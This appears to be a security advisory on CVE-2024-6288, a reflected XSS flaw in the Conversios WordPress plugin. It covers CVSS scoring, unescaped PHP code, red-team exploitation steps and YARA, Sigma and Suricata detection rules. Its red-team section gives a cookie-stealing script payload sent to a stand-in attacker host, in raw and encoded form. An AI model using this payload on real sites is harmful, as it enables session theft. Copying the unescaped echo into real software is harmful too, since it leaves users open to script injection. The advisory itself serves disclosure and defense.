CVE-2024-6288

Executive Summary

CVE-2024-6288 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Conversios – Google Analytics 4 (GA4), Meta Pixel & more Via Google Tag Manager For WooCommerce WordPress plugin. The flaw exists in all versions up to and including 7.1.0 due to insufficient input sanitization and output escaping of the tiktok_user_id parameter. An unauthenticated attacker can inject arbitrary web scripts that execute when a victim clicks a crafted link. The CVSS score is 4.7 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation. No public exploit code or patch details are currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor for updates and apply patches as soon as they become available. The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must click a malicious link.
• Scope (S): Changed (C) – The injected script can impact resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for user interaction reduces the risk, but the lack of authentication and the potential for phishing campaigns make this a credible threat.

Deep Dive & Mechanics

The vulnerability resides in the tiktok_user_id parameter, which is used by the plugin to integrate TikTok tracking. The plugin fails to sanitize user input and escape output when rendering this parameter in the page. An attacker can craft a URL containing a malicious JavaScript payload in the tiktok_user_id parameter. When a logged-in administrator or any user clicks the link, the script executes in the context of the victim's session, potentially allowing the attacker to steal cookies, perform actions on behalf of the user, or deface the site.

The attack flow:

1. Attacker crafts a malicious URL: https://example.com/?tiktok_user_id=<script>alert('XSS')</script>
2. Attacker sends the link via email, social media, or other channels.
3. Victim clicks the link while authenticated to the WordPress site.
4. The plugin processes the parameter without sanitization and reflects it in the page.
5. The injected script executes, performing the attacker's intended action.

Vulnerable vs. Patched Code

Vulnerable Code (<= 7.1.0):

// In some template or function
echo '<input type="hidden" name="tiktok_user_id" value="' . $_GET['tiktok_user_id'] . '">';

The $_GET['tiktok_user_id'] value is directly echoed without any sanitization or escaping.

Patched Code (Hypothetical):

// Properly escape the output
echo '<input type="hidden" name="tiktok_user_id" value="' . esc_attr($_GET['tiktok_user_id']) . '">';

The esc_attr() function escapes the value for safe use in HTML attributes, preventing XSS.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install WordPress with the Conversios plugin version 7.1.0.
2. Ensure the plugin is activated.

Exploitation Steps:

1. Craft a malicious URL:

   http://target-site.com/?tiktok_user_id=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

2. Encode the payload to avoid issues:

   http://target-site.com/?tiktok_user_id=%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fattacker.com%2Fsteal.php%3Fcookie%3D%27%2Bdocument.cookie%3C%2Fscript%3E
   

3. Send the link to a victim (e.g., via phishing email).
4. When the victim clicks the link, the script executes and sends the cookie to the attacker's server.

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing tiktok_user_id with suspicious patterns (e.g., <script>, onerror=, javascript:).
• Use WAF rules to block requests with XSS payloads in the tiktok_user_id parameter.

Mitigation:

• Immediately update the plugin if a patched version becomes available.
• If no patch exists, consider disabling the plugin or removing the vulnerable functionality.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Educate users about phishing attacks and the danger of clicking suspicious links.

Indicators of Compromise (IOCs)

• URL Pattern: Requests containing tiktok_user_id= followed by encoded or raw JavaScript.
• Log Entries: HTTP GET requests to the WordPress site with the tiktok_user_id parameter.
• Network Traffic: Outbound connections from the victim's browser to attacker-controlled domains (if cookie exfiltration is attempted).
• File Changes: Unexpected modifications to WordPress pages or posts (if the attacker uses XSS to perform admin actions).

Detection Engineering

YARA Rule

rule CVE_2024_6288_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting CVE-2024-6288 in Conversios plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-6288"
    strings:
        $xss_payload = /tiktok_user_id=.*(<script|<img|onerror|onload|javascript:|alert\(|prompt\(|confirm\()/i
    condition:
        $xss_payload
}

Sigma Rule

title: Reflected XSS Attempt via Conversios Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads in the tiktok_user_id parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'tiktok_user_id='
        cs-uri-query|re: '(<script|<img|onerror|onload|javascript:|alert\(|prompt\(|confirm\()'
    condition: selection
falsepositives:
    - Legitimate use of similar strings in non-malicious contexts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6288 Reflected XSS in Conversios Plugin"; flow:to_server,established; content:"tiktok_user_id="; http_uri; pcre:"/(<script|<img|onerror|onload|javascript:|alert\(|prompt\(|confirm\()/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the Conversios plugin until a patched version is released.
2. Patch: Apply the official patch from the plugin vendor when available.
3. Workaround: If disabling is not possible, implement a web application firewall (WAF) rule to block requests containing XSS patterns in the tiktok_user_id parameter.
4. User Education: Train users to recognize phishing attempts and avoid clicking suspicious links.
5. Monitoring: Enable logging and alerting for unusual HTTP requests targeting the vulnerable parameter.
6. CSP: Deploy Content Security Policy headers to restrict script execution.

Valters IT
DevSecOps & Cyber Threat Intelligence Division